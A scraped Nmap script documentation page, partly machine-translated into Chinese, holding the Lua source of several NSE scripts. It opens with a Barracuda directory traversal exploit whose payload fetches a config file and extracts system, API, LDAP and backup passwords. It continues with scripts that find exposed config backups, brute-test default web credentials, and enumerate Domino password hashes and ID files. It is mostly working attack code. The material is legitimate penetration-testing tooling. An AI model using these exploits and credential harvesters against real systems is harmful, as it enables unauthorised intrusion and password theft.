2011-06-15 - looped system info extraction -- - changed service portrule to "barracuda" -- author = "Brendan Coles" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive", "exploit", "auth"} portrule = shortport.port_or_service (8000, "barracuda", {"tcp"}) action = function(host, port) local result = {} local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"} local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00" local user_count = 0 local config_file = "" -- Loop through vulnerable files stdnse.debug1("Connecting to %s:%s", host.targetname or host.ip, port.number) for _, path in ipairs(paths) do -- Retrieve file local data = http.get(host, port, tostring(path)) if data and data.status then -- Check if file exists stdnse.debug1("HTTP %s: %s", data.status, tostring(path)) if tostring(data.status):match("200") then -- Attempt config file retrieval with LFI exploit stdnse.debug1("Exploiting: %s", tostring(path .. payload)) data = http.get(host, port, tostring(path .. payload)) if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then -- Check if the HTTP response contains a valid config file in MySQL database dump format if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then config_file = data.body break end else stdnse.debug1("Failed to retrieve file: %s", tostring(path .. payload)) end end else stdnse.debug1("Failed to retrieve file: %s", tostring(path)) end end -- No config file found if config_file == "" then stdnse.debug1("%s:%s is not vulnerable or connection timed out.", host.targetname or host.ip, port.number) return end -- Extract system info from config file in MySQL dump format stdnse.debug1("Exploit success! Extracting system info from MySQL database dump") -- Count users if string.match(config_file, "'user_default_email_address',") then for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end end table.insert(result, string.format("Users: %s", user_count)) -- Extract system info local vars = { {"Device", "branding_device_name"}, {"Version","httpd_last_release_notes_version_read"}, {"Hostname","system_default_hostname"}, {"Domain","system_default_domain"}, {"Timezone","system_timezone"}, {"Language","default_ndr_lang"}, {"Password","system_password"}, {"API Password","api_password"}, {"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"}, {"Gateway","system_gateway"}, {"Primary DNS","system_primary_dns_server"}, {"Secondary DNS","system_secondary_dns_server"}, {"DNS Cache","dns_cache"}, {"Backup Server","backup_server"}, {"Backup Port","backup_port"}, {"Backup Type","backup_type"}, {"Backup Username","backup_username"}, {"Backup Password","backup_password"}, {"NTP Enabled","system_ntp"}, {"NTP Server","system_ntp_server"}, {"SSH Enabled","system_ssh_enable"}, {"BRTS Enabled","brts_enable"}, {"BRTS Server","brts_lookup_domain"}, {"HTTP Port","http_port"}, {"HTTP Disabled","http_shutoff"}, {"HTTPS Port","https_port"}, {"HTTPS Only","https_only"}, } for _, var in ipairs(vars) do local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2])) if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end end table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119") -- Return results return stdnse.format_output(true, result) end
脚本http-config-backup
脚本类型:portrule
类别: auth , intrusive
下载:https ://svn.nmap.org/nmap/scripts/http-config-backup.nse
脚本摘要
检查常见内容管理系统和 Web 服务器配置文件的备份和交换文件。
当 Web 服务器文件在适当位置进行编辑时,文本编辑器可以将备份或交换文件留在 Web 服务器可以为它们提供服务的地方。该脚本检查这些文件:
wp-config.php
: WordPressconfig.php
: phpBB, 表达式引擎configuration.php
: JoomlaLocalSettings.php
: 媒体维基/mediawiki/LocalSettings.php
: 媒体维基mt-config.cgi
: 可动类型mt-static/mt-config.cgi
: 可动类型settings.php
: 德鲁巴.htaccess
: 阿帕奇
并且对于这些文件中的每一个都应用以下转换( config.php
用作示例):
config.bak
: 通用备份。config.php.bak
: 通用备份。config.php~
: Vim,Gedit。#config.php#
: 埃马克斯。config copy.php
: Mac OS 拷贝。Copy of config.php
: Windows 副本。config.php.save
: GNU纳米。.config.php.swp
: Vim 交换。config.php.swp
: Vim 交换。config.php.old
: 通用备份。
该脚本的灵感来自 Feross Aboukhadijeh 的 CMSploit 程序: http ://www.feross.org/cmsploit/ 。
脚本参数
- http-config-backup.save
-
保存找到的所有有效配置文件的目录
- http-config-backup.path
-
CMS 的安装路径
- slaxml.debug
-
请参阅slaxml库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
示例用法
nmap --script=http-config-backup <目标>
脚本输出
端口状态服务原因 80/tcp 打开 http syn-ack | http-配置备份: | /%23wp-config.php%23 HTTP/1.1 200 OK |_ /config.php~ HTTP/1.1 200 OK
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local coroutine = require "coroutine" local http = require "http" local io = require "io" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" local url = require "url" description = [[ Checks for backups and swap files of common content management system and web server configuration files. When web server files are edited in place, the text editor can leave backup or swap files in a place where the web server can serve them. The script checks for these files: * <code>wp-config.php</code>: WordPress * <code>config.php</code>: phpBB, ExpressionEngine * <code>configuration.php</code>: Joomla * <code>LocalSettings.php</code>: MediaWiki * <code>/mediawiki/LocalSettings.php</code>: MediaWiki * <code>mt-config.cgi</code>: Movable Type * <code>mt-static/mt-config.cgi</code>: Movable Type * <code>settings.php</code>: Drupal * <code>.htaccess</code>: Apache And for each of these file applies the following transformations (using <code>config.php</code> as an example): * <code>config.bak</code>: Generic backup. * <code>config.php.bak</code>: Generic backup. * <code>config.php~</code>: Vim, Gedit. * <code>#config.php#</code>: Emacs. * <code>config copy.php</code>: Mac OS copy. * <code>Copy of config.php</code>: Windows copy. * <code>config.php.save</code>: GNU Nano. * <code>.config.php.swp</code>: Vim swap. * <code>config.php.swp</code>: Vim swap. * <code>config.php.old</code>: Generic backup. This script is inspired by the CMSploit program by Feross Aboukhadijeh: http://www.feross.org/cmsploit/. ]]; --- -- @usage -- nmap --script=http-config-backup <target> -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-config-backup: -- | /%23wp-config.php%23 HTTP/1.1 200 OK -- |_ /config.php~ HTTP/1.1 200 OK -- -- @args http-config-backup.path the path where the CMS is installed -- @args http-config-backup.save directory to save all the valid config files found -- author = "Riccardo Cecolin"; license = "Same as Nmap--See https://nmap.org/book/man-legal.html"; categories = { "auth", "intrusive" }; portrule = shortport.http; local function make_grep(pattern) return function(s) return string.match(s, pattern) end end local grep_php = make_grep("<%?php"); local grep_cgipath = make_grep("CGIPath"); local function check_htaccess(s) return string.match("<Files") or string.match(s, "RewriteRule") end local CONFIGS = { { filename = "wp-config.php", check = grep_php }, -- WordPress { filename = "config.php", check = grep_php }, -- phpBB, ExpressionEngine { filename = "configuration.php", check = grep_php }, -- Joomla { filename = "LocalSettings.php", check = grep_php }, -- MediaWiki { filename = "/mediawiki/LocalSettings.php", check = grep_php }, -- MediaWiki { filename = "mt-config.cgi", check = grep_cgipath }, -- Movable Type { filename = "mt-static/mt-config.cgi", check = grep_cgipath }, -- Movable Type { filename = "settings.php", check = grep_php }, -- Drupal { filename = ".htaccess", check = check_htaccess }, -- Apache }; -- Return directory, filename pair. directory may be empty. local function splitdir(path) local dir, filename dir, filename = string.match(path, "^(.*/)(.*)$") if not dir then dir = "" filename = path end return dir, filename end -- Return basename, extension pair. extension may be empty. local function splitext(filename) local base, ext; base, ext = string.match(filename, "^(.+)(%..+)") if not base then base = filename ext = "" end return base, ext end -- Functions mangling filenames. local TRANSFORMS = { function(fn) local base, ext = splitext(fn); if ext ~= "" then return base .. ".bak" -- generic bak file end end, function(fn) return fn .. ".bak" end, function(fn) return fn .. "~" end, -- vim, gedit function(fn) return "#" .. fn .. "#" end, -- Emacs function(fn) local base, ext = splitext(fn); return base .. " copy" .. ext -- mac copy end, function(fn) return "Copy of " .. fn end, -- windows copy function(fn) return fn .. ".save" end, -- nano function(fn) if string.sub(fn, 1, 1) ~= "." then return "." .. fn .. ".swp" end end, -- vim swap function(fn) return fn .. ".swp" end, -- vim swap function(fn) return fn .. ".old" end, -- generic backup }; --- --Creates combinations of backup names for a given filename --Taken from: http-backup-finder.nse local function backupNames (filename) local dir, basename; dir, basename = splitdir(filename); return coroutine.wrap(function() for _, transform in ipairs(TRANSFORMS) do local result = transform(basename); if result == nil then elseif type(result) == "string" then coroutine.yield(dir .. result); result = {result} elseif type(result) == "table" then for _, r in ipairs(result) do coroutine.yield(dir .. r); end end end end) end --- --Writes string to file --Taken from: hostmap.nse -- @param filename Filename to write -- @param contents Content of file -- @return True if file was written successfully local function write_file (filename, contents) local f, err = io.open(filename, "w"); if not f then return f, err; end f:write(contents); f:close(); return true; end action = function (host, port) local path = stdnse.get_script_args("http-config-backup.path") or "/"; local save = stdnse.get_script_args("http-config-backup.save"); local backups = {}; if not path:match("/$") then path = path .. "/"; end if not path:match("^/") then path = "/" .. path; end if (save and not(save:match("/$") ) ) then save = save .. "/"; end local status_404, result_404, known_404 = http.identify_404(host, port) if not status_404 then stdnse.debug1("Can't distinguish 404 response. Quitting.") return stdnse.format_output(false, "Can't determine file existence") end -- for each config file for _, cfg in ipairs(CONFIGS) do -- for each alteration of the filename for entry in backupNames(cfg.filename) do local url_path url_path = url.build({path = path .. entry}); -- http request local response = http.get(host, port, url_path); -- if it's not 200, don't bother. If it is, check that it's not a false 404 if response.status == 200 and http.page_exists(response, result_404, known_404, url_path) then -- check it if is valid before inserting if cfg.check(response.body) then local filename = stdnse.escape_filename((host.targetname or host.ip) .. url_path) -- save the content if save then local status, err = write_file(save .. filename, response.body); if status then stdnse.debug1("%s saved", filename); else stdnse.debug1("error saving %s", err); end end table.insert(backups, url_path .. " " .. response["status-line"]); else stdnse.debug1("%s: found but not matching: %s", host.targetname or host.ip, url_path); end end end end return stdnse.format_output(true, backups); end;
脚本http-default-accounts
脚本类型:portrule
类别: discovery、auth、intrusive
下载:https ://svn.nmap.org/nmap/scripts/http-default-accounts.nse
脚本摘要
使用各种 Web 应用程序和设备使用的默认凭据进行访问测试。
它的工作原理类似于 http-enum,我们通过匹配已知路径并在找到时使用默认凭据启动登录例程来检测应用程序。该脚本依赖于包含目标信息的指纹文件:名称、类别、位置路径、默认凭据和登录例程。
如果您希望减少请求数量,您可以选择一个类别。我们有如下类别:
web
- 网络应用程序routers
- 路由器security
- 闭路电视和其他安全设备industrial
- 工业系统printer
- 网络连接的打印机和打印机服务器storage
- 存储设备virtualization
- 虚拟化系统console
- 远程控制台
您还可以选择特定的指纹或品牌,例如 BIG-IQ 或 Siemens。此匹配基于不区分大小写的单词。这意味着“nas”将选择希捷 BlackArmor NAS 存储,而不是 Netgear ReadyNAS。
对于要使用的指纹,它需要同时满足类别和名称标准。
默认情况下,脚本仅在找到默认凭据时生成输出,而在目标仅匹配某些指纹(但未找到凭据)时保持静默。随着详细程度的增加(选项 -v),脚本还将报告所有匹配的指纹。
请通过向 nselib/data/http-default-accounts.lua 添加新条目来帮助改进此脚本
请记住,每个指纹必须具有:
name
- 描述性名称category
- 类别login_combos
- 登录组合表paths
- 包含目标可能路径位置的表login_check
- 目标的登录功能
此外,指纹应具有:
target_check
- 目标验证功能。如果已定义,将在尝试任何登录之前调用它来验证目标。cpe
- 官方 CPE 词典条目(参见https://nvd.nist.gov/cpe.cfm)
默认指纹文件:/nselib/data/http-default-accounts-fingerprints.lua 该脚本基于 http-enum。
脚本参数
- http-default-accounts.category
-
选择指纹类别(或类别列表)。
- http-default-accounts.name
-
通过名称中包含的单词(或替代单词列表)选择指纹。
- http-default-accounts.fingerprintfile
-
指纹文件名。默认:http-default-accounts-fingerprints.lua
- http-default-accounts.basepath
-
附加到请求的基本路径。默认: ”/”
- slaxml.debug
-
请参阅slaxml库的文档。
- creds.[服务] , creds.global
-
请参阅creds库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
示例用法
nmap -p80 --script http-default-accounts 主机/ip
脚本输出
端口状态服务 80/tcp 打开 http | http-默认帐户: | [仙人掌] 在 / | 管理员:管理员 | [Nagios] 在 /nagios/ |_ nagiosadmin:CactiEZ
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local _G = require "_G" local creds = require "creds" local http = require "http" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local table = require "table" description = [[ Tests for access with default credentials used by a variety of web applications and devices. It works similar to http-enum, we detect applications by matching known paths and launching a login routine using default credentials when found. This script depends on a fingerprint file containing the target's information: name, category, location paths, default credentials and login routine. You may select a category if you wish to reduce the number of requests. We have categories like: * <code>web</code> - Web applications * <code>routers</code> - Routers * <code>security</code> - CCTVs and other security devices * <code>industrial</code> - Industrial systems * <code>printer</code> - Network-attached printers and printer servers * <code>storage</code> - Storage devices * <code>virtualization</code> - Virtualization systems * <code>console</code> - Remote consoles You can also select a specific fingerprint or a brand, such as BIG-IQ or Siemens. This matching is based on case-insensitive words. This means that "nas" will select Seagate BlackArmor NAS storage but not Netgear ReadyNAS. For a fingerprint to be used it needs to satisfy both the category and name criteria. By default, the script produces output only when default credentials are found, while staying silent when the target only matches some fingerprints (but no credentials are found). With increased verbosity (option -v), the script will also report all matching fingerprints. Please help improve this script by adding new entries to nselib/data/http-default-accounts.lua Remember each fingerprint must have: * <code>name</code> - Descriptive name * <code>category</code> - Category * <code>login_combos</code> - Table of login combinations * <code>paths</code> - Table containing possible path locations of the target * <code>login_check</code> - Login function of the target In addition, a fingerprint should have: * <code>target_check</code> - Target validation function. If defined, it will be called to validate the target before attempting any logins. * <code>cpe</code> - Official CPE Dictionary entry (see https://nvd.nist.gov/cpe.cfm) Default fingerprint file: /nselib/data/http-default-accounts-fingerprints.lua This script was based on http-enum. ]] --- -- @usage -- nmap -p80 --script http-default-accounts host/ip -- -- @output -- PORT STATE SERVICE -- 80/tcp open http -- | http-default-accounts: -- | [Cacti] at / -- | admin:admin -- | [Nagios] at /nagios/ -- |_ nagiosadmin:CactiEZ -- -- @xmloutput -- <table key="Cacti"> -- <elem key="cpe">cpe:/a:cacti:cacti</elem> -- <elem key="path">/</elem> -- <table key="credentials"> -- <table> -- <elem key="username">admin</elem> -- <elem key="password">admin</elem> -- </table> -- </table> -- </table> -- <table key="Nagios"> -- <elem key="cpe">cpe:/a:nagios:nagios</elem> -- <elem key="path">/nagios/</elem> -- <table key="credentials"> -- <table> -- <elem key="username">nagiosadmin</elem> -- <elem key="password">CactiEZ</elem> -- </table> -- </table> -- </table> -- -- @args http-default-accounts.basepath Base path to append to requests. Default: "/" -- @args http-default-accounts.fingerprintfile Fingerprint filename. Default: http-default-accounts-fingerprints.lua -- @args http-default-accounts.category Selects a fingerprint category (or a list of categories). -- @args http-default-accounts.name Selects fingerprints by a word (or a list of alternate words) included in their names. -- Revision History -- 2013-08-13 nnposter -- * added support for target_check() -- 2014-04-27 -- * changed category from safe to intrusive -- 2016-08-10 nnposter -- * added sharing of probe requests across fingerprints -- 2016-10-30 nnposter -- * removed a limitation that prevented testing of systems returning -- status 200 for non-existent pages. -- 2016-12-01 nnposter -- * implemented XML structured output -- * changed classic output to report empty credentials as <blank> -- 2016-12-04 nnposter -- * added CPE entries to individual fingerprints (where known) -- 2018-12-17 nnposter -- * added ability to select fingerprints by their name -- 2020-07-11 nnposter -- * added reporting of all matched fingerprints when verbosity is increased --- author = {"Paulino Calderon <calderon@websec.mx>", "nnposter"} license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"discovery", "auth", "intrusive"} portrule = shortport.http --- --validate_fingerprints(fingerprints) --Returns an error string if there is something wrong with --fingerprint table. --Modified version of http-enums validation code --@param fingerprints Fingerprint table --@return Error string if its an invalid fingerprint table --- local function validate_fingerprints(fingerprints) for i, fingerprint in pairs(fingerprints) do if(type(i) ~= 'number') then return "The 'fingerprints' table is an array, not a table; all indexes should be numeric" end -- Validate paths if(not(fingerprint.paths) or (type(fingerprint.paths) ~= 'table' and type(fingerprint.paths) ~= 'string') or (type(fingerprint.paths) == 'table' and #fingerprint.paths == 0)) then return "Invalid path found in fingerprint entry #" .. i end if(type(fingerprint.paths) == 'string') then fingerprint.paths = {fingerprint.paths} end for i, path in pairs(fingerprint.paths) do -- Validate index if(type(i) ~= 'number') then return "The 'paths' table is an array, not a table; all indexes should be numeric" end -- Convert the path to a table if it's a string if(type(path) == 'string') then fingerprint.paths[i] = {path=fingerprint.paths[i]} path = fingerprint.paths[i] end -- Make sure the paths table has a 'path' if(not(path['path'])) then return "The 'paths' table requires each element to have a 'path'." end end -- Check login combos for i, combo in pairs(fingerprint.login_combos) do -- Validate index if(type(i) ~= 'number') then return "The 'login_combos' table is an array, not a table; all indexes should be numeric" end -- Make sure the login_combos table has at least one login combo if(not(combo['username']) or not(combo["password"])) then return "The 'login_combos' table requires each element to have a 'username' and 'password'." end end -- Make sure they include the login function if(type(fingerprint.login_check) ~= "function") then return "Missing or invalid login_check function in entry #"..i end -- Make sure that the target validation is a function if(fingerprint.target_check and type(fingerprint.target_check) ~= "function") then return "Invalid target_check function in entry #"..i end -- Are they missing any fields? if(fingerprint.category and type(fingerprint.category) ~= "string") then return "Missing or invalid category in entry #"..i end if(fingerprint.name and type(fingerprint.name) ~= "string") then return "Missing or invalid name in entry #"..i end end end -- Simplify unlocking the mutex, ensuring we don't try to load the fingerprints -- again by storing and returning an error message in place of the cached -- fingerprints. -- @param mutex Mutex that controls fingerprint loading -- @param err Error message -- @return Status (always false) -- @return Error message passed in local function bad_prints(mutex, err) nmap.registry.http_default_accounts_fingerprints = err mutex "done" return false, err end --- -- Loads data from file and returns table of fingerprints if sanity checks are -- passed. -- @param filename Fingerprint filename -- @param catlist Categories of fingerprints to use -- @param namelist Alternate words required in fingerprint names -- @return Status (true or false) -- @return Table of fingerprints (or an error message) --- local function load_fingerprints(filename, catlist, namelist) local file, filename_full, fingerprints -- Check if fingerprints are cached local mutex = nmap.mutex("http_default_accounts_fingerprints") mutex "lock" local cached_fingerprints = nmap.registry.http_default_accounts_fingerprints if type(cached_fingerprints) == "table" then stdnse.debug(1, "Loading cached fingerprints") mutex "done" return true, cached_fingerprints end if type(cached_fingerprints) == "string" then -- cached_fingerprints contains an error message from a prior load attempt return bad_prints(mutex, cached_fingerprints) end assert(type(cached_fingerprints) == "nil", "Unexpected cached fingerprints") -- Try and find the file -- If it isn't in Nmap's directories, take it as a direct path filename_full = nmap.fetchfile('nselib/data/' .. filename) if(not(filename_full)) then filename_full = filename end -- Load the file stdnse.debug(1, "Loading fingerprints: %s", filename_full) local env = setmetatable({fingerprints = {}}, {__index = _G}); file = loadfile(filename_full, "t", env) if( not(file) ) then stdnse.debug(1, "Couldn't load the file: %s", filename_full) return bad_prints(mutex, "Couldn't load fingerprint file: " .. filename_full) end file() fingerprints = env.fingerprints -- Validate fingerprints local valid_flag = validate_fingerprints(fingerprints) if type(valid_flag) == "string" then return bad_prints(mutex, valid_flag) end -- Category filter if catlist then if type(catlist) ~= "table" then catlist = {catlist} end local filtered_fingerprints = {} for _, fingerprint in pairs(fingerprints) do for _, cat in ipairs(catlist) do if fingerprint.category == cat then table.insert(filtered_fingerprints, fingerprint) break end end end fingerprints = filtered_fingerprints end -- Name filter if namelist then if type(namelist) ~= "table" then namelist = {namelist} end local matchlist = {} for _, name in ipairs(namelist) do table.insert(matchlist, "%f[%w]" .. tostring(name):lower():gsub("%W", "%%%1") .. "%f[%W]") end local filtered_fingerprints = {} for _, fingerprint in pairs(fingerprints) do local fpname = fingerprint.name:lower() for _, match in ipairs(matchlist) do if fpname:find(match) then table.insert(filtered_fingerprints, fingerprint) break end end end fingerprints = filtered_fingerprints end -- Check there are fingerprints to use if(#fingerprints == 0 ) then return bad_prints(mutex, "No fingerprints were loaded after processing ".. filename) end -- Cache the fingerprints for other scripts, so we aren't reading the files every time nmap.registry.http_default_accounts_fingerprints = fingerprints mutex "done" return true, fingerprints end --- -- format_basepath(basepath) -- Modifies a given path so that it can be later prepended to another absolute -- path to form a new absolute path. -- @param basepath Basepath string -- @return Basepath string with a leading slash and no trailing slashes. -- (Empty string is returned if the input is an empty string -- or "/".) --- local function format_basepath(basepath) if basepath:sub(1,1) ~= "/" then basepath = "/" .. basepath end return basepath:gsub("/+$","") end --- -- test_credentials(host, port, fingerprint, path) -- Tests default credentials of a given fingerprint against a given path. -- Any successful credentials are registered in the Nmap credential repository. -- @param host table as received by the scripts action method -- @param port table as received by the scripts action method -- @param fingerprint as defined in the fingerprint file -- @param path againt which the the credentials will be tested -- @return out table suitable for inclusion in the script structured output -- (or nil if no credentials succeeded) -- @return txtout table suitable for inclusion in the script textual output --- local function test_credentials (host, port, fingerprint, path) local credlst = {} for _, login_combo in ipairs(fingerprint.login_combos) do local user = login_combo.username local pass = login_combo.password stdnse.debug(1, "[%s] Trying login combo %s:%s", fingerprint.name, stdnse.string_or_blank(user), stdnse.string_or_blank(pass)) if fingerprint.login_check(host, port, path, user, pass) then stdnse.debug(1, "[%s] Valid default credentials found", fingerprint.name) local cred = stdnse.output_table() cred.username = user cred.password = pass table.insert(credlst, cred) end end if #credlst == 0 and nmap.verbosity() < 2 then return nil end -- Some credentials found or increased verbosity. Generate the output report local out = stdnse.output_table() out.cpe = fingerprint.cpe out.path = path out.credentials = credlst local txtout = {} txtout.name = ("[%s] at %s"):format(fingerprint.name, path) if #credlst == 0 then table.insert(txtout, "(no valid default credentials found)") return out, txtout end for _, cred in ipairs(credlst) do table.insert(txtout,("%s:%s"):format(stdnse.string_or_blank(cred.username), stdnse.string_or_blank(cred.password))) end -- Register the credentials local credreg = creds.Credentials:new(SCRIPT_NAME, host, port) for _, cred in ipairs(credlst) do credreg:add(cred.username, cred.password, creds.State.VALID ) end return out, txtout end action = function(host, port) local fingerprint_filename = stdnse.get_script_args("http-default-accounts.fingerprintfile") or "http-default-accounts-fingerprints.lua" local catlist = stdnse.get_script_args("http-default-accounts.category") local namelist = stdnse.get_script_args("http-default-accounts.name") local basepath = stdnse.get_script_args("http-default-accounts.basepath") or "/" local output = stdnse.output_table() local text_output = {} -- Determine the target's response to "404" HTTP requests. local status_404, result_404, known_404 = http.identify_404(host,port) -- The default target_check is the existence of the probe path on the target. -- To reduce false-positives, fingerprints that lack target_check() will not -- be tested on targets on which a "404" response is 200. local default_target_check = function (host, port, path, response) if status_404 and result_404 == 200 then return false end return http.page_exists(response, result_404, known_404, path, true) end --Load fingerprint data or abort local status, fingerprints = load_fingerprints(fingerprint_filename, catlist, namelist) if(not(status)) then return stdnse.format_output(false, fingerprints) end stdnse.debug(1, "%d fingerprints were loaded", #fingerprints) --Format basepath: Removes or adds slashs basepath = format_basepath(basepath) -- Add requests to the http pipeline local pathmap = {} local requests = nil stdnse.debug(1, "Trying known locations under path '%s' (change with '%s.basepath' argument)", basepath, SCRIPT_NAME) for _, fingerprint in ipairs(fingerprints) do for _, probe in ipairs(fingerprint.paths) do -- Multiple fingerprints may share probe paths so only unique paths will -- be added to the pipeline. Table pathmap keeps track of their position -- within the pipeline. local path = probe.path if not pathmap[path] then requests = http.pipeline_add(basepath .. path, {bypass_cache=true, redirect_ok=false}, requests, 'GET') pathmap[path] = #requests end end end -- Nuclear launch detected! local results = http.pipeline_go(host, port, requests) if results == nil then return stdnse.format_output(false, "HTTP request table is empty. This should not happen since we at least made one request.") end -- Iterate through fingerprints to find a candidate for login routine for _, fingerprint in ipairs(fingerprints) do local target_check = fingerprint.target_check or default_target_check local credentials_found = false stdnse.debug(1, "[%s] Examining target", fingerprint.name) for _, probe in ipairs(fingerprint.paths) do local result = results[pathmap[probe.path]] if result and not credentials_found then local path = basepath .. probe.path if target_check(host, port, path, result) then stdnse.debug(1, "[%s] Target matched", fingerprint.name) local out, txtout = test_credentials(host, port, fingerprint, path) if out then output[fingerprint.name] = out table.insert(text_output, txtout) credentials_found = true end end end end end if #text_output > 0 then return output, stdnse.format_output(true, text_output) end end
脚本http-domino-enum-passwords
脚本类型:portrule
类别: intrusive , auth
下载:https ://svn.nmap.org/nmap/scripts/http-domino-enum-passwords.nse
脚本摘要
尝试枚举所有经过身份验证的用户(默认情况下)都可以访问的散列 Domino Internet 密码。此脚本还可以下载附加到个人文档的任何 Domino ID 文件。密码以适合在 John the Ripper 中运行的形式呈现。
密码可以以两种形式存储(http://comments.gmane.org/gmane.comp.security.openwall.john.user/785):
- Saltless(旧版支持?)示例:355E98E7C7B59BD810ED845AD0FD2FC4 John 的格式名称:lotus5
- Salted(也称为“更安全的 Internet 密码”)示例:(GKjXibCW2Ml6juyQHUoP) John 的格式名称:dominosec
似乎启用了基于表单的身份验证,基本身份验证仍然有效。因此,该脚本应该在这两种情况下都有效。可以使用参数用户名和密码直接提供有效凭据,也可以从 http-brute 或 http-form-brute 的结果间接提供。
脚本参数
- http-domino-enum-passwords.path
-
指向受认证保护的路径。默认值:“/names.nsf/People?OpenView”
- http-domino-enum-passwords.password
-
HTTP 身份验证的密码(如果需要)
- http-domino-enum-passwords.idpath
-
下载的 ID 文件应保存的路径 如果未给出,脚本将仅指示 ID 文件是否可下载
- http-domino-enum-passwords.username
-
HTTP 身份验证的用户名(如果需要)
- http-domino-enum-passwords.count
-
要获取的 Internet 哈希和 id 文件的数量。如果给出负值,则检索所有哈希和 id 文件(默认值:10)
- http-domino-enum-passwords.hostname
-
在虚拟主机的情况下设置主机头。如果目标由名称指定,则不需要。
- slaxml.debug
-
请参阅slaxml库的文档。
- creds.[服务] , creds.global
-
请参阅creds库的文档。
- http.host , http.max-body-size , http.max-cache-size , http.max-pipeline , http.pipeline , http.truncated-ok , http.useragent
-
请参阅http库的文档。
- smbdomain , smbhash , smbnoguest , smbpassword , smbtype , smbusername
-
请参阅smbauth库的文档。
示例用法
nmap --script http-domino-enum-passwords -p 80 <主机> --script-args http-domino-enum-passwords.username='patrik karlsson',http-domino-enum-passwords.password=secret
脚本输出
港口国服务原因 80/tcp 打开 http syn-ack | http-domino-enum 密码: | 信息 | 检索到的信息为:“Jim Brass” | 互联网哈希(salted,jtr:--format=DOMINOSEC) | 吉姆·布拉斯:(GYvlbOz2idzni5peJUdD) | Warrick Brown:(GZghNctqAnJgyklUl2ml) | Gill Grissom:(GyhsteeXTr75YOSwW8mc) | 大卫霍奇斯:(GZEJRHqJEVc5IZCsNX0U) | 雷兰斯顿:(GE18MGVGD/8ftYMFaVlY) | 格雷格·桑德斯:(GHpdG/7FX7iXXlaoY5sj) | 萨拉·西德尔:(GWzgG0kCQ5qmnqARL3cl) | 温迪·西姆斯:(G6wooaElHpsvA4TPvSfi) | 尼克斯托克斯:(Gdo2TJBRj1Ervrs9lPUp) | 凯瑟琳柳树:(GlDc3QP5ePFR38d7lQeM) | 互联网哈希(未加盐,jtr:--format=lotus5) | 艾达洛夫莱斯:355E98E7C7B59BD810ED845AD0FD2FC4 | 约翰·史密斯:655E98E7C7B59BD810ED845AD0FD2FD4 | 身份证件 | Jim Brass ID 文件已下载 (/tmp/id/Jim Brass.id) | Warrick Brown ID 文件已下载 (/tmp/id/Warrick Brown.id) | Gill Grissom ID 文件已下载 (/tmp/id/Gill Grissom.id) | David Hodges ID 文件已下载 (/tmp/id/David Hodges.id) | Ray Langston ID 文件已下载 (/tmp/id/Ray Langston.id) | Greg Sanders ID 文件已下载 (/tmp/id/Greg Sanders.id) | Sara Sidle ID 文件已下载 (/tmp/id/Sara Sidle.id) | Wendy Simms ID 文件已下载 (/tmp/id/Wendy Simms.id) | 尼克斯托克斯 ID 文件已下载 (/tmp/id/Nick Stokes.id) | Catherine Willows ID 文件已下载 (/tmp/id/Catherine Willows.id) | |_ 结果限制为 10 个结果(请参阅 http-domino-enum-passwords.count)
需要
作者:
许可证:与 Nmap 相同--参见https://nmap.org/book/man-legal.html
local creds = require "creds" local http = require "http" local io = require "io" local shortport = require "shortport" local stdnse = require "stdnse" local stringaux = require "stringaux" local table = require "table" description = [[ Attempts to enumerate the hashed Domino Internet Passwords that are (by default) accessible by all authenticated users. This script can also download any Domino ID Files attached to the Person document. Passwords are presented in a form suitable for running in John the Ripper. The passwords may be stored in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785): 1. Saltless (legacy support?) Example: 355E98E7C7B59BD810ED845AD0FD2FC4 John's format name: lotus5 2. Salted (also known as "More Secure Internet Password") Example: (GKjXibCW2Ml6juyQHUoP) John's format name: dominosec It appears as if form based authentication is enabled, basic authentication still works. Therefore the script should work in both scenarios. Valid credentials can either be supplied directly using the parameters username and password or indirectly from results of http-brute or http-form-brute. ]] --- -- @usage -- nmap --script http-domino-enum-passwords -p 80 <host> --script-args http-domino-enum-passwords.username='patrik karlsson',http-domino-enum-passwords.password=secret -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-domino-enum-passwords: -- | Information -- | Information retrieved as: "Jim Brass" -- | Internet hashes (salted, jtr: --format=DOMINOSEC) -- | Jim Brass:(GYvlbOz2idzni5peJUdD) -- | Warrick Brown:(GZghNctqAnJgyklUl2ml) -- | Gill Grissom:(GyhsteeXTr75YOSwW8mc) -- | David Hodges:(GZEJRHqJEVc5IZCsNX0U) -- | Ray Langston:(GE18MGVGD/8ftYMFaVlY) -- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj) -- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl) -- | Wendy Simms:(G6wooaElHpsvA4TPvSfi) -- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp) -- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM) -- | Internet hashes (unsalted, jtr: --format=lotus5) -- | Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4 -- | John 